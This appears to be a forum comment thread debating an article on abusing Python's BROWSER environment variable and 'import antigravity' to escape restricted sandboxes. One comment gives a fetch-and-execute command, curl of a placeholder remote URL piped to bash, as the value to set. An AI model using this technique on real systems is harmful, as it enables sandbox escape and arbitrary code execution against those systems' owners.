News for hackers. Stuff that matters.
Re:Hacking with environment variables by NikolaeVarius on Monday July 13, 2020 @11:20PM (#23828142)
So... don't import antigravity, an obvious joke module.
Re:Hacking with environment variables by cortesoft on Monday July 13, 2020 @11:49PM (#23828328)
I am confused by your point... the article is trying to hack a system where they can only set environment variables, and they found an environment variable that can import arbitrary modules.

Are you trying to tell hackers to just not import the module?

Re:Hacking with environment variables by userbinator on Monday July 13, 2020 @11:24PM (#23828163)
Of course as a developer you (should) already have the power to run arbitrary code on your machine, so going through that route is silly. I think it's more in reference to locked-down environments like shared hosting, which want to run Python but restrict access to everything else. From that perspective, this ability looks like a sandbox escape.
Re:Hacking with environment variables by NikolaeVarius on Monday July 13, 2020 @11:32PM (#23828220)
If a sandbox includes the ability to load a link via a browser via standard event handler, how the hell is that an escape
Re:Hacking with environment variables by dnautics on Monday July 13, 2020 @11:40PM (#23828263)
it's an escape because you can load an arbitrary script into the command, and if the sandbox crafter didn't think to lock down `import antigravity` then you can escape the sandbox.
Re:Hacking with environment variables by neolog on Monday July 13, 2020 @11:28PM (#23828191)
If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.
Re:Hacking with environment variables by RcouF1uZ4gsC on Monday July 13, 2020 @11:42PM (#23828291)
> If the environment allows executing a browser

From my reading of this, it allows executing any executable you can put in the BROWSER environment

Re:Hacking with environment variables by csunbird on Tuesday July 14, 2020 @05:58AM (#23830126)
Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.
Re:Hacking with environment variables by neolog on Tuesday July 14, 2020 @01:57PM (#23835303)
Oh you're right.